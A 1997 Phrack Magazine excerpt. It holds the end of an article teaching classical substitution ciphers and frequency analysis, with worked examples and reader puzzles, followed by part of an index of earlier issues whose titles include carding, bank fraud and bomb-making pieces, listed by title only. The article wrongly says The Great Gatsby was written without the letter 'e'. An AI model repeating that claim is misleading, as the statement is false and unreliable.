By taking an alphabet and replacing each letter with another letter in a 
unique fashion you create a simple monoalphabetic cypher.  

Plaintext Alphabet	A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
Cypher Alphabet		Z I K M O Q S U W Y A C E B D F H J L N P R T V X G


Plaintext Message

The blue cow will rise during the second moon from the west field.

Cyphertext Message

nuo icpo kdt twcc jwlo mpjwbs nuo lokdbm eddb qjde nuo toln qwocm.


-Cyclical Cyphers

By taking an alphabet and aligning it with a rotated alphabet you get a 
cyclical cypher.  For example:

Plaintext Alphabet	A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
Cypher Alphabet		N O P Q R S T U V W X Y Z A B C D E F G H I J K L M


Indeed, you may recognize this cypher as a ROT13 which is commonly used on 
news groups to obscure messages.


-Keyed Cypher

Another way to create a monoalphabetic cypher is to choose a keyword or phrase 
as the beginning of the cypher alphabet. Usually, only the unique letters from 
the phrase are used in order to make sure the plaintext to cyphertext behaves 
in a one to one fashion.

For example:

Plaintext Alphabet:	A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
Cypher Alphabet		L E T O S H D G F W A R B C I J K M N P Q U V X Y Z

The passphrase in this cypher is "Let loose the dogs of war"  The advantage of 
such a system is that the encryption method is easy to remember.  Also, a 
method of key change can be created without ever having to distribute the keys.
For example, one could use the 4 words at a time of some piece of literature.  
Every message could use the next four words.  Indeed, this change could occur 
more frequently, but that is a subject for another article. 


-Bipartite Substitution

Bipartite substition is the use of symbol pairs to represent plaintext.  Later 
we will see that this sort of substitution lends itself to be easily made more 
difficult to analyze. Two examples of this are:

  1 2 3 4 5	 		 		               A B C D E
1 A B C D E						     A A B C D E 
2 F G H I J						     B F G H I J
3 K L M N O						     C K L M N O
4 P Q R S T				or		     D P Q R S T
5 U V W X Y						     E U V W X Y
6 Z 0 1 2 3						     F Z 0 1 2 3
7 4 5 6 7 8						     G 4 5 6 7 8
9 9 . - ? ,						     H 9 . - ? ,


Obviously, the letters do not need to be placed in this order as their solutions 
would not be that difficult to guess.



--Cryptanalysis


Previously we created a cyphered message:

nuo icpo kdt twcc jwlo mpjwbs nuo lokdbm eddb qjde nuo toln qwocm.


If one were to receive this message, figuring out its contents might seem 
fairly daunting. However,  there are some very good methods for recovering the 
plaintext from the cyphertext. The following discussion will work under the 
assumption that we know the cyphers with which we are dealing are 
monoalphabetics.


-Frequency Analysis

The first method we will use is frequency analysis.  Natural languages have 
many qualities which are very useful for the analysis of cyphertext.  Languages
have letters which occur more commonly in text, collections of letters which 
are more frequent,  patterns in words, and other related letter occurances.  

Counting up the occurances of letters we find that there are...

letter	occurances
b		3
c		4
d		5
e		2
i		1
j		3
k		2
l		3
m		3
n		4
o		8
p		2
q		2
s		1
t		3
u		3
w		4

The order of greatest frequency to least is:

 8   5     4          3           2       1
{o} {d} {c n w} {b j l m t u} {e k p q} {i s} 


If this sort of analysis were run on many volumes of english you would find that
a pattern would emerge.  It would look like this:

{e} {t} {a o i n} {s r h} {l d} {c u m f} {p g w y b} {v k} {x j q z}

You will notice an immediate correlation between e and o.  However, for the 
rest of the letters we can not be very certain.  In fact, we can not be very 
certain about e either.

Since this text is short it is helpful to take a look at some of the other 
behaviors of this text.

Counting up the first, second, third, and last letters of the words in this 
text we find the following frequencies:


First Letter in word		Occurances

e					1
i					1
j					1
k					1
l					1
m					1
n					3
q					2
t					2

Order:

n q t e i j k l m


Second letter in word		Occurances
c					1
d					2
i					1
n					1
o					2
p					1
u					3
w					3

Order:

u w d o c i n p


Third letter in word		Occurances

c					1
d					2
i					1
k					1
l					2
o					4
p					1
t					1
u					1

Order:

o d l c i k p t u


Last letter in word		Occurances

b					1
c					1
e					1
m					1
n					1
o					5
s					1
t					1


English frequency for first letter:

t a o m h w 

Second letter:

h o e i a u 

Third letter:

e s a r n i

Last letter:

e t s d n r 

Noticing the higher frequency count for 'o' in the third and last letters of 
words in addition to its absence as a first letter in any words gives us strong
reason to believe that 'o' substitutes for 'e'.  This is the first wedge into 
solving this cypher.

However, do not be fooled by the apparent strengths of frequency analysis.  
Entire books have been written without the use of some letters in the English 
alphabet.  For instance The Great Gatsby was written without using the letter 
'e' in one word of the book.


Other items to analyze in cyphertext documents is the appearance of letters in 
groups.  These are called bigrams and trigrams.  For example, 'th' is a very 
common letter pairing in the english language.  Also, as no surprise 'the' is 
a very common trigram.  Analysis of english documents will find these results 
for you.


So now that that we have developed a simple way of starting to attack cyphers 
lets examine a few ways to make them more difficult to break.


--Strengthening Cyphers


-Removing word and sentence boundaries

A simple way to complicate decypherment of a cyphertext is to remove all 
spacing and punctuation.  This makes it more difficult to perform a frequency 
analysis on letter positions.  However, it is possible to make reasonable 
guesses as to word positions once yoy begin to study the document.  Another 
method is to break the cyphertext into fixed blocks.  For example after every 
four letters a space is placed.

The previous cypher text would appear as this:

nuoicpokdttwccjwlompjwbsnuolokdbmeddbqjdenuotolnqwocm.


or this:

nuoi cpok dttw ccjw lomp jwbs nuol okdb medd bqjd enuo toln qwoc m


You will notice that the above line ends with a single character.  This gives 
away the end of the text and would be better served by the placement of nulls, 
or garbage characters.  The above line becomes:

nuoi cpok dttw ccjw lomp jwbs nuol okdb medd bqjd enuo toln qwoc mhew

'hew' will decypher to 'qmi' which will clearly appear to be nulls to the 
intended recipient.


-Nulls

Nulls are characters used in messages which have no meanings.  A message could 
be sent which uses numbers as nulls. This makes decypherment more difficult as
part of the message has no meaning.  Until the decypherer realizes this, he 
may have a hard time of solving the message.


-Polyphony

Another method that can be applied is the use of polyphones.  Polyphones are 
simply using a piece of cyphertext to represent more than one piece of 
plaintext.  For example a cyphertext 'e' may represent an 'a' and a 'r'.  This 
does complicate decypherment and may result in multiple messages.  This is 
dangerous as these messages are prone to errors and may even decypher into 
multiple texts.

A new cyphertext alphabet would be

Cyphertext alphabet	A B C D E F G H I J L N P
Plaintext alphabet	Z X U S Q O M K H N R V W
			B D F G I A C E L P J T Y

Our old plaintext message becomes

nih aich gfp peii ledh bclejd nih dhgfjb gffj clfg nih phdn cehib

This decypherment becomes very tricky for someone to accomplish.  Having some 
knowledge of the text would be a great help.

If it appears that very few letters are being used in a document then you may 
wish to suspect the use of polyphones within a document.


-Homophones

Homophones are similar to polyphones except that there is more than one 
cyphertext letter for every plaintext letter.  They are useful to use in that 
they can reduce the frequencies of letters in a message so that an analysis 
yields little information.  This is very easy to do with bipartite 
substitution cyphers.  For example:

         a b c d e
       a a b c d e
       b f g h i j
       c k l m n o
       d p q r s t
       e u v w x y
       f z * * * *

*(fb, fc, fd, fe are NULLS)

We can add homophones to the message like this:

          a b c d e

 i h g a  a b c d e
   k j b  f g h i j
   n l c  k l m n o
   o m d  p q r s t
     p e  u v w x y
       f  z * * * *

The optimal way to set up these homophones is to calculate the frequency of 
appearance in the natural language you are using of each row of letters.  
Homophones should be added so that the cyphertext appearance of each homophone 
is reduced to a level where frequency analysis would yield little information.


-Code Words

One final method which can be used is that of code words.  Simply replace 
important words in the plaintext with code words which represent another word.
For example the nonsense plaintext that has been chosen for this document could 
actually mean:


The blue cow will rise during the second moon from the west field.

The king is angry and will attack in two weeks with the 1st calvary by way of 
the foothills.

blue is angry
cow is king
rise is attack
second is two weeks
moon is 1st calvary
west field stands for some foothills on the west side of the kingdom.


Throughout this document I have mentioned frequency analysis of english 
documents.  This is a fairly tedious task to do by hand, and so I am 
developing software to aid in frequency analysis of documents.  I will be 
making it available via my website at http://www.cu-online.com/~jwthomp/ on 
Monday, September 8th.  Please watch for it in the Cryptography section.


Ok, now to try your hand at a few cyphertexts..

This one has to do with war.
1)
kau noelb'd oerf xmtt okkopw ok qoxb euoqf kau kurhtoe wbmcakds, obq dkemwu amd
podktu xamtu xu altq amr   


This one is an excerpt from a technical document.
2)
etdsalwqs kpjsjljdq gwur orrh frurdjkrf sj qtkkjps npjtk ljeethalwsajhq   
sgrqr kpjsjljdq tqr w jhr sj ewhy kwpwfane ijp spwhqeaqqajh sykalwddy tqahn 
ldwqq f ahsrphrs kpjsjljd wffprqqrq sj qkrlaiy qkrlaial etdsalwqs npjtkq


Mail me your answers and I'll put the first person who solves each cypher in 
the next Phrack.

In fact, I would enjoy seeing some participation in this for the next Phrack.  
After reading this, I welcome the submission of any "Monoalphabetic" cypher 
based on the discussions of this article.  Please do not yet submit any 
polyalphabetic cyphers (Next article).  When submitting to me, please send me 
two letters.  The first mail should include only the encyphered text.  Make 
sure it is enough so that a reasonable examination can be made of the cypher.
This first mail should have a subject "Cyphertext submission".  If you are 
using a method of encypherment not found in this article, please enclose a 
brief description of the type of method you used.  Follow this mail up with 
another entitled "Cyphertext Solution" along with a description of the 
encyphering method as well as the key or table used.

I will select a number of these texts to be printed in the next Phrack, where
readers may have a chance at solving the cyphers.  The reason I ask for two
seperate mailing is that I will want to take a crack at these myself.  Finally,
the names of individuals will be placed in the following phrack of the first
to solve each cypher, and whomever solves the most cyphers prior to the next
Phrack release (real name or pseudonym is fine).


Please mail all submissions to jwthomp@cu-online.com

I welcome any comments, suggestions, questions, or whatever at 
jwthomp@cu-online.com


----[  EOF



--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 14 of 17


-------------------------[  P H R A C K   I N D E X   G U I D E


--------[  Guyver



                                   -=Guyver=-
                                P r e s e n t s

              #####    ##  ##   #####    ###       ####    ##  ##
              ##  ##   ##  ##   ##  ##   ####     ##  ##   ## ##
              ##  ##   ##  ##   ##  ##   ##  ##   ##       ####
              #####    ######   #####    ######   ##       ###
              ##       ##  ##   ## ##    ##  ##   ##  ##   ####
              ##       ##  ##   ##  ##   ##  ##    ####    ## ##

                             MAGAZINE INDEX GUIDE

                               2nd edition 1997

      Phrack 1-50, Articles indexed according to author, subject, and title.

          KEY: I1 F1 2k = Issue 1 File 1 of Phrack k=kilobytes long


                                   ** A **


"The ABCs of Better Hotel Staying" by Seven Up. 1994. I46 F25 12k
"Accessing Government Computers" by The Sorceress. 1988. I17 F7 9k
"Acronyms [from Metal Shop Private BBS]" 1988. I20 F11 43k
"Acronyms Part I" by Firm G.R.A.S.P.. 1993. I43 F21 50k
"Acronyms Part II" by Firm G.R.A.S.P.. 1993. I43 F22 51k
"Acronyms Part III" by Firm G.R.A.S.P.. 1993. I43 F23 45k
"Acronyms Part IV" by Firm G.R.A.S.P.. 1993. I43 F24 52k
"Acronyms Part V" by Firm G.R.A.S.P.. 1993. I43 F25 46k
"Advanced BITNET Procedures" by VAXBusters International. 1989. I24 F7 9k
"Advanced Carding XIV" by The Disk Jockey. 1987. I15 F4 12k
"Advanced Modem-Oriented BBS Security" by Laughing Gas & Dead Cow. 1991
 I34 F9 11k
Agent 005 authored
        "Interview With Agent Steal" 1993. I44 F16 14k
Agent Steal authored
        "Tapping Telephone Lines" 1987. I16 F6 9k
"Air Fone Frequencies" by Leroy Donnelly. 1992 I39 F8 14k
"AIS - Automatic Intercept System" by Taran King. 1987. I11 F6 16k
Al Capone authored
        "Searching The Dialog Information Service" 1993. I44 F18 48k
Aleph1 authored
        "Smashing The Stack For Fun And Profit" 1996. I49 F14 66k
Aleph1 was Pro-Philed in 1997. I50 F4 7k
alhambra authored
        "SNMP insecurities" 1997. I50 F7 20k
        "Phrack World News" 1997. I50 F15 110k
   co-authored
        "Project Loki: ICMP Tunneling" 1996. I49 F7 38k        
Alpine Kracker authored
        "Smoke Bombs" 1986. I6 F6 2k
Amadeus submitted 
        "Cellular Spoofing by Electronic Serial Numbers" 1987. I11 F9
        "Telenet/Sprintnet's PC Pursuit Outdial Directory" 1991. I35 F4 90k

ANARCHY
(See also CREDIT CARDING, DRUGS, EXPLOSIVES, HACKING, LOCK PICKING, PHREAKING,
 WEAPONS)
   "Breaching and Clearing Obstacles" by Taran King. 1986. I4 F5 7k
   "Consensual Realities in Cyberspace" by Paul Saffo. 1989. I30 F8 11k
   "Eavesdropping" by Circle Lord. 1986. I3 F7 3k
   "False Identification" by Forest Ranger. 1986. I4 F3 3k
   "Fun With Lighters" by The Leftist. 1986. I6 F4 2k
   "Hand to Hand Combat" by Bad Boy in Black. 1986. I5 F4 13k
   "Phone Bugging: Telecom's Underground Industry" by Split Decision. 1989.
      I26 F7
   "Social Security Number Formatting" by Shooting Shark. 1988. I19 F4 3k
   "Social Security Numbers & Privacy" by Chris Hibbert of CPSR. 1991.
    I35 F6 13k
   "Tapping Telephone Lines" by Agent Steal. 1987. I16 F6 9k
   "The Technical Revolution" by Dr. Crash. 1986. I6 F3 4k
   "The Truth About Lie Detectors" by Razor's Edge. 1989. I30 F9 15k

"Are You a Phone Geek?" by Doom Prophet. 1987. I13 F7 9k
Aristotle was Pro-Philed in 1992 I38 F3 6k
Armitage authored
        "The Glenayre GL3000 Paging and Voice retrieval System" 1995.          
         I47 F14 25k
"The Art of Investigation" by Butler. 1990. I32 F4 18k
"The Art of Junction Box Modeming" by Mad Hacker 616. 1986. I8 F5 6k
"AT&T Definity System 75/85" by Erudite. 1994. I46 F25 35k
"The AT&T Mail Gateway" by Robert Alien. 1991 I34 F4 5k
"Auto-Answer It" by Twisted Pair. 1991. I35 F9 10k
"Automatic Number Identification" by Phantom Phreaker and Doom Prophet. 1987.
 I10 F7 9k
"Automatic Teller Machine Cards" by Jester Sluggo. 1990. I32 F6 16k


                                   ** B **


Bad Boy in Black authored 
        "Hand to Hand Combat" 1986. I5 F4 13k

BANK FRAUD
   "Automatic Teller Machine Cards" by Jester Sluggo. 1990. I32 F6 16k
   "Bank Information" compiled by Legion of Doom!. 1989. I29 F6 12k
   "Fun With Automatic Tellers" by The Mentor. 1986. I8 F7 7k
   "How We Got Rich Through Electronic Fund Transfer" by Legion of Doom!.
    1990. I29 F7 11k
   "Introduction to the FedLine software system" by Parmaster. 1996.
    I49 F12 19k

"Bank Information" compiled by Legion of Doom!. 1989. I29 F6 12k
"Basic Commands for The VOS System" by Dr. No-Good. 1992. I37 F8 10k
"Basic Concepts of Translation" by The Dead Lord and Chief Executive Officers.
 1989. I26 F6 20k
"Beating The Radar Rap Part 1/2" by Dispater. 1992. I27 F5 12k 44k
"Beating The Radar Rap Part 2/2" by Dispater. 1992. I28 F6 5k 15k
"A Beginner's Guide to The IBM VM/370" by Elric of Imrryr. 1987. I10 F4 4k
"A Beginner's Guide to Novell Netware 386" by The Butler. 1991. I35 F8 84k
"Bell Network Switching Systems" by Taran King. 1989. I25 F3 16k
"BELLCORE Information" by The Mad Phone-Man. 1987. I16 F2 11k
"Big BroTher Online" by Thumpr (Special thanks to Hatchet Molly). 1989.
 I23 F10
Bill Huttig authored
        "Special Area Codes II" 1992. I39 F7 17k

BITNET see WIDE AREA NETWORKS

Black Kat authored
        "Users Guide to VAX/VMS Part 1/3" 1991 I35 F7 62k
        "Users Guide to VAX/VMS Part 2/3" 1992 I37 F7 25k
        "Users Guide to VAX/VMS Part 3/3" 1992 I38 F7 46k
Black Knight from 713 authored 
        "Hacking Voice Mail Systems" 1987. I11 F4 6k
Black Tie Affair authored 
        "Hiding Out Under Unix" 1989. I25 F6 9k
"Blocking of Long Distance Calls" by Jim Schmickley. 1988. I21 F8 26k
"Blocking of Long Distance Calls... Revisited" by Jim Schmickley. 1989.
 I29 F9 22k
"Blowguns" by The Pyro. 1985. I2 F4 3K 3K
"The Blue Box and Ma Bell" by The Noid. 1989. I25 F7 19k
Bob Page authored 
        "A Report on The Internet Worm" 1988. I22 F8 16k
Bobby Zero authored
        "Security Shortcomings of AppleShare Networks" 1992. I41 F9 16k
"Bolt Bombs" by The Leftist. 1986. I5 F6 3k
Boss Hogg authored
        "The Craft Acces Terminal" 1996. I48 F8 36k
"Boot Tracing" by Cheap Shades. 1985. I1 F3 8k
"Box.exe for SoundBlasters"<unencoded> by The Fixer. 1994. I45 F22 13k
"Breaching and Clearing Obstacles" by Taran King. 1986. I4 F5 7k
Broadway Hacker Pro-Philed in 1986. I5 F2 5k
Brian Oblivion authored
        "Cellular Telephony" 1992. I38 F9 28k
        "Cellular Telephony Part II" 1992. I40 F6 72k        
        "DIALOG Information Network" 1992. I39 F5 43k
Brigadier General Swipe authored
        "An Introduction to MILNET" 1991 I34 F7 8k
Bruce Sterling authored
        "Phrack World News Special Edition IV" (CyberView '91) 1991. I33 F10 28k
"BT Tymnet, Part 1/3" by Toucan Jones. 1992. I40 F8 57k
"BT Tymnet, Part 2/3" by Toucan Jones. 1992. I40 F9 55k
"BT Tymnet, Part 3/3" by Toucan Jones. 1992. I40 F10 91k
"Building a Shock Rod" by Circle Lord. 1986. I3 F8 3k
"Busy Line Verification" by Phantom Phreaker. 1987. I11 F10 10k
"Busy Line Verification Part II" by Phantom Phreaker. 1987. I12 F8 9k
Butler authored 
        "The Art of Investigation" 1990. I32 F4 18k
        "A Beginners Guide to Novell Netware 386" 1991. I35 F8 84k


                                   ** C **

CABLE
   "A Guide To Porno Boxes" By Carl Corey. 1994. I46 F10 13k

Caligula XXI authored
        "Mall Cop Frequencies" 1992. I41 F10 11k
"Can You Find Out If Your Telephone is Tapped?" by Fred P. Graham and VaxCat
 1989. I23 F9 20k
Cap'n Crax authored 
        "The TMC Primer" 1987. I10 F3 6k

CARDING
   "Advanced Carding XIV" by The Disk Jockey. 1987. I15 F4 12k
   "Credit Card Laws" by Tom Brokow. 1987. I16 F5 7k
   "Card-O-Rama:Magnetic Stripe Technology and Beyond" by Count Zero. 1992.
    I37 F6 44k
   "MCI International Cards" by Knight Lightning. 1985. I1 F5 3k
   "Safe and Easy Carding" by Vaxbuster. 1993. I44 F20 18k
   "VisaNet Operations Part I" by Ice Jey. 1994. I46 F15 50k
   "VisaNet Operations Part 2" by Ice Jey. 1994. I46 F16 44k

"Card-O-Rama:Magnetic Stripe Technology and Beyond" by Count Zero. 1992.
 I37 F6 44k

CARD GAMES
        "How To Hack Blackjack Part I" by Lex Luthor. 1993. I43 F9 52k
        "How To Hack Blackjack Part II" by Lex Luthor. 1993. I43 F10 50k
        
Carl Corey authored
        "A Guide To Porno Boxes" 1994. I46 F10 13k    
Carrier Culprit authored
        "Hacking DEC's" 1986. I5 F3 23k
The Cavalier authored
        "How to Build a DMS-10 Switch" 1992 I41 F7 23k
        "Introdcution to Telephony and PBX Systems" 1996. I49 F5 100k
"Cellular Debug Mode Commands" by Various Sources. 1994. I45 F26 13k
"Cellular Info" by Madjus(N.O.D.). 1993. I43 F17 47k
"Cellular Spoofing by Electronic Serial Numbers" by Author Unknown.
 1985. I11 F9 submitted by Amadeus
"Cellular Telephones" by High Evolutionary. 1986. I6 F7 5k
"Cellular Telephony" by Brian Oblivion. 1992. I38 F9 28k
"Cellular Telephony Part II" by Brian Oblivion. 1992. I40 F6 72k

CELLULAR TELEPHONY
   "Air Fone Frequencies" by Leroy Donnelly. 1992 I39 F8 14k
   "Cellular Debug Mode Commands" by Various Sources. 1994. I45 F26 13k
   "Cellular Info" by Madjus(N.O.D.). 1993. I43 F17 47k
   "Cellular Spoofing by Electronic Serial Numbers" by ?. 1985. I11 F9
      submitted by Amadeus
   "Cellular Telephones" by High Evolutionary. 1986. I6 F7 5k
   "Cellular Telephony" by Brian Oblivion. 1992. I38 F9 28k
   "Cellular Telephony Part II" by Brian Oblivion. 1992. I40 F6 72k
   "Mobile Telephone Communications" by Phantom Phreaker. 1986. I5 F9 11k
   "Motorola Command Mode Information" by Cherokee. 1996. I48 F6 38k     
   "Tandy/Radio Shack Cellular Phones" by Damien Thorn. 1996. I48 F7 43k

"Centrex Renaissance" by Jester Sluggo. 1986. I4 F7 17k
"Centigram Voice Mail System Consoles" by >Unknown User<. 1992. I39 F6 36k
Charlie X authored
        "Screwing Over Your Local McDonalds" 1994. I45 F19. 20k
Cheap Shades authored
        "Boot Tracing" 1985. I1 F3 8k
        Introduction/Index for I3 F1
   co-authored
        "Welcome to Metal Shop Private" 1988. I20 F4 37k
Cherokee authored
        "Motorola Command Mode Information" 1996. I48 F6 38k
Chief Executive Officers co-authored
        "Basic Concepts of Translation" 1989. I29 F6 12k
Crimson Flash authored
        "The Fine Art of Telephony" 1992. I40 F7 65k
Chris Goggans authored        
        "Packet Switched Network Security" 1992. I42 F4 22k
Chris Goggens was Pro-Philed in 1991. I35 F3 20k
Chris Hibbert of CPSR authored
        "Social Security Numbers & Privacy" 1991. I35 F6 13k
Circle Lord authored  "Building a Shock Rod" 1986. I3 F8 3k
        "Eavesdropping" 1986. I3 F7 3k
"Circuit Switched Digital Capability" by The Executioner. 1987. I10 F5 12k
"City-Wide Centrex" by The Executioner. 1986. I8 F3 14k
cjml authored
        "Steganography Improvement Proposal" by cjml. 1996. I49 F10 6k
The Clashmaster authored
        "How to Make Acetylene Bombs" 1985. I1 F7 4k
Co/Dec authored
        "Physical Access and Theft of PBX Systems" 1993. I43 F15 28k
        "Fraudulent Applications of 900 Services" 1994. I45 F18 15k
CODES
   "MCI International Cards" by Knight Lightning. 1985. I1 F5 3k

Compaq Disk(Crimson Death) co-authored
        "Introduction to Diet Phrack" 1991. I36. F1 8k
"The Complete Guide to Hacking WWIV" by Inhuman. 1991 I34 F5 20k
"The Complete Guide to Hacking Meridian Voice Mail" by Substance. 1995.
 I47 F15 10k
"CompuServe Info" by Morgoth and Lotus. 1986. I8 F6 8k
"The CompuServe Case" by Electronic Frontier Foundation. 1992. I37 F9 6k
"Computer-Based Systems for Bell System Operation" by Taran King. 1989.
 I20 F2
"Computer Hackers Follow a Guttman-Like Progression" by Richard C. Hollinger
 1988. I22 F7 10k
"Concerning Hackers Who Break Into Computer Systems" by Dorthy Denning. 1990.
 I32 F3
"Conference News Part I" by Various Sources. 1993. I43 F7 53k
"Conference News Part II" by Various Sources. 1993. I43 F8 58k
"Conference News Part I" by Various Sources. 1993. I44 F6 55k
"Conference News Part II" by Various Sources. 1993. I44 F7 35k
"Conference News Part III" by Various Sources. 1993. I44 F8 50k
"The Conscience of a Hacker {Reprint}" by The Mentor. 1987. I14 F3 4k
"Consensual Realities in Cyberspace" by Paul Saffo. 1989. I30 F8 11k
"Content-Blind Cancelbot" by Dr. Dimitri Vulis. I49 F9 40k
"Control Office Administration of Enhanced 911 Service" by The Eavesdropper.
 1989. I24 F6 12k
Control C authored
        "Digital Multiplexing Systems (Part 2)" 1988. I19 F3 18k
        "Inside Dialog" 1986. I9 F5 8k
        "Loop Maintenance Operating System" 1988. I18 F8 32k
        "TRW Business Terminology" 1987. I14 F6 5k
        "Understanding The Digital Multiplexing Systems (DMS)" 1987. I12 F4 19k
        "Understanding DMS Part II" 1987. I14 F5 18k
        "Computerists Underground News Tabloid - CUNT" by Crimson Death. 1987.
         I13 F8 11k
Control C was Pro-Philed in 1994. I44 F7 22k

COSMOS
   "COSMOS: COmputer System for Mainfrmae OperationS (Part One)" by
    King Arthur. 1989. I26 F5 13k
   "COSMOS: COmputer System for Mainframe OperationS (Part Two)" by
    King Arthur. 1989. I27 F5 12k
   "Cosmos Overview" by EBA. 1990. I31 F6 52k

"COSMOS: COmputer System for Mainframe OperationS (Part One)" by King Arthur.
 1989. I26 F5 13k
"COSMOS: COmputer System for Mainframe OperationS (Part Two)" by King Arthur.
 1989. I27 F5 12k
Cosmos Kid authored 
        "A Hacker's Guide to Primos: Part 1" 1987. I16 F3 11k
"Cosmos Overview" by EBA. 1990. I31 F6 52k
Count Zero authored
        "Card-O-Rama:Magnetic Stripe Technology and Beyond" 1992. I37 F6 44k
        "Phrack World News:Special Report VI on WeenieFest'92" 1992 I37 F10 14k
        "HoHoCon" 1995. I48. F11 33k        
"Covert Paths" by Cyber Neuron Limited and SynThecide. 1989. I29 F5 4k

CRACKING (of software)
   "Boot Tracing" by Cheap Shades. 1985. I1 F3 8k

"Cracking NT Passwords" by Nihil. 1997. I50 F8 17k
"The Craft Acces Terminal" by Boss Hogg. 1996. I48 F8 36k
"Crashing DEC-10's" by The Mentor. 1986. I4 F6 5k

CREDIT BUREAUS
   "Hacking Chilton's Credimatic" by Ryche. 1986. I7 F4 8k
   "Reading Trans-Union Credit Reports" by The Disc Jockey. 1987. I16 F7 6k
   "TRW Business Terminology" by Control C. 1987. I14 F6 5k

"Credit Card Laws" by Tom Brokow. 1987. I16 F5 7k

CREDIT CARDING
(see also CREDIT BUREAUS, CARDING)
   "Advanced Carding XIV" by The Disk Jockey. 1987. I15 F4 12k
   "Credit Card Laws" by Tom Brokow. 1987. I16 F5 7k
   "The Postal Inspection Service" by Vendetta. 1989. I27 F9 14k

Crimson Death was Pro-Philed in 1986. I4 F1
Crimson Death (713) authored
        "Computerists Underground News Tabloid - CUNT" 1987. I13 F8 11k
        Introduction/Index for I18-19,32,34,35(co-authored) F1
        "Phrack Classic Spotlight featuring Knight Lightning" 1990. I32 F2 32k
        "Phrack Pro-Phile on Ax Murderer" 1988. I18 F2 4k
        "Phrack Pro-Phile on Shooting Shark" 1991 I33 F2 16k
        "Phrack World News" 1991. I33 F11 18k
         "RSTS" 1990. I32 F9 23k
   co-authored
        Introduction/Index for I18-19,32,34,35 F1        
"CSDC II - Hardware Requirements" by The Executioner. 1987. I12 F6 8k

CULTURE (of hacking)
(See also International Scenes, Phrack World News, Phrack Pro-Phile)
   "10th Chaos Computer Congress" by Manny E. Farber. 1994. I45 F13 23k
   "The ABCs of Better Hotel Staying" by Seven Up. 1994. I46 F25 12k
   "Acronyms [from Metal Shop Private BBS]" 1988. I20 F11 43k
   "Are You a Phone Geek" by Doom Prophet. 1987. I13 F7 9k
   "Big BroTher Online" by Thumpr (Special thanks to Hatchet Molly). 1989.
      I23 F10
   "Concerning Hackers Who Break Into Computer Systems" by Dorthy Denning.
      1990. I32 F3 60k
   "Computer Hackers Follow a Guttman-Like Progression" by Richard C.
      Hollinger. 1988. I22 F7 10k
   "Computerists Underground New Tabloids - CUNT" by Crimson Death. 1987.
      I13 F8 11k
   "The Conscience of a Hacker {Reprint}" by The Mentor. 1987. I14 F3 4k
   "Cyber Christ Meets Lady Luck Part I" by Winn Schwartau. 1994. I46 F19 45k
   "Cyber Christ Meets Lady Luck Part II" by Winn Schwartau. 1994. I46 F20 42k
   "Cyber Christ Bites The Big Apple" by Winn Schwartau. 1994. I46 F23 60k
   "Defcon Information" by Various Sources. 1995. I47 F9 28k
   "Defcon II Information" by Various Sources. 1994. I45 F14 26k
   "*ELITE* Access" by Dead Lord and Lord Digital(Lords Anonymous!). 1991.     
    I36 F5 43k
   "The Freedom of Information Act and You" by Vince Niel. 1992. I42 F12 42k
   "The Groom Lake Desert Rat" by PsychoSpy. 1994. I46 F21 44k
   "Hacker's Manifesto" by The Mentor. 1986. I7 F3 4k
   "The History of The Legion of Doom" 1990. I31 F5 10k
   "HoHoCon" by Netta Gilboa. 1995. I47. F10 30k
   "HoHoCon" by Count Zero. 1995. I48. F11 33k
   "HoHoCon"(review) by Various Sources. 1992. I42 F13 51k
   "HoHoCon Miscellany" by Various Sources. 1994. I45 F11 32k
   "HoHoCon Miscellany" by Various Sources. 1995. I47 F12 33k
   "Hollywood-Style Bits & Bytes" by Richard Goodwin. 1994. I45 F17 50k
   "HOPE" by Erik Bloodaxe. 1994. I46 F22 51k
   "How to Fuck Up The World - A Parody" by Thomas Covenant. 1987. I13 F3 10k
   "The Judas Contract (Part 2 of The Vicious Circle Trilogy)" by Knight
      Lightning. 1988. I22 F3 26k
   "LODCOM BBS Archive Info" by LOD. 1993. I43 F18 24k
   "LOD Communications BBS Archive Information" by LOD. 1993. I44 F22 29k
   "The Legion of Doom & The Occult" by LOD and Demon Seed Elite. 1991         
    I36 F6 24k
   "LODCOM Sample Messages" by LOD. 1993. I43 F19 52k
   "The Making of a Hacker" by Framstag. 1989. I27 F7 9k
   "Metal/General Discussion [from Metal Shop Private BBS]" 1988. I20 F5 66k
   "New Users [from Metal Shop Private BBS]" 1988. I20 F9 17k
   "The Open Barn Door" by Douglas Walter(Newsweek). 1992. I39 F9 11k
   "Phrack Editorial on Microbashing" by The Nightstalker. 1988. I19 F6 6k
   "Phrack Inc./Gossip [from Metal Shop Private BBS]" 1988. I20 F6 56k
   "Phreak/Hack Sub [from Metal Shop Private BBS]" 1988. I20 F7 46k
   "Phreaks in Verse" by Sir Francis Drake. 1987. I13 F5 3k
   "Preview to Phrack 13-The Life & Times of The Executioner" 1987. I12 F3 5k
   "R.A.G. - Rodents are Gay" by Evil Jay. 1987. I13 F6 6k
   "Radio Free Berkley Information" 1994. I45 F24 35k
   "RAGS - The Best of Sexy Exy" 1987. I13 F9 19k
   "Real Cyberpunks" by The Men From Mongo. 1991 I36 F9 13k
   "The Royal Court [from Metal Shop Private BBS]" 1988. I20 F10 3k
   "Scan Man's Rebuttal to Phrack World News" by Scan Man. 1987. I12 F9 17k
   "Searching for speciAL acceSs agentS" by Dr. Dude. 1991. I36 F7 18k
   "The Senator Markey Hearing Transcripts" by >Unknown User<. I45 F20 72k
   "Shadows of a Future Past (Part 1 of The Vicious Circle Trilogy)" by
      Knight Lightning. 1988. I21 F3 26k
   "Social Engineering [from Metal Shop Private BBS]" 1988. I20 F8 19k
   "Subdivisions (Part 3 of The Vicious Circle Trilogy)" by Knight Lightning
      1989. I23 F3 17k
   "SummerCon 1992" by Knight Lightning and Dispater. 1992. I40 F11 35k
   "The Truth...and Nothing but the Truth" by Steve Fleming. 1996. I48 F16 19k
   "Timeline Featuring Taran King, Knight Lightning, Cheap Shades" 1988.
      I20 F3 3k
   "A Trip to The NCSC" by Knight Lightning. 1990. I32 F7 16k
   "Welcome to Metal Shop Private" by Taran King, Knight Lightning, and Cheap
      Shades. 1988. I20 F4 37k

"Cyber Christ Meets Lady Luck Part I" by Winn Schwartau. 1994. I46 F19 45k
"Cyber Christ Meets Lady Luck Part II" by Winn Schwartau. 1994. I46 F20 42k
"Cyber Christ Bites The Big Apple" by Winn Schwartau. 1994. I46 F23 60k
Cyber Neuron Limited co-authored
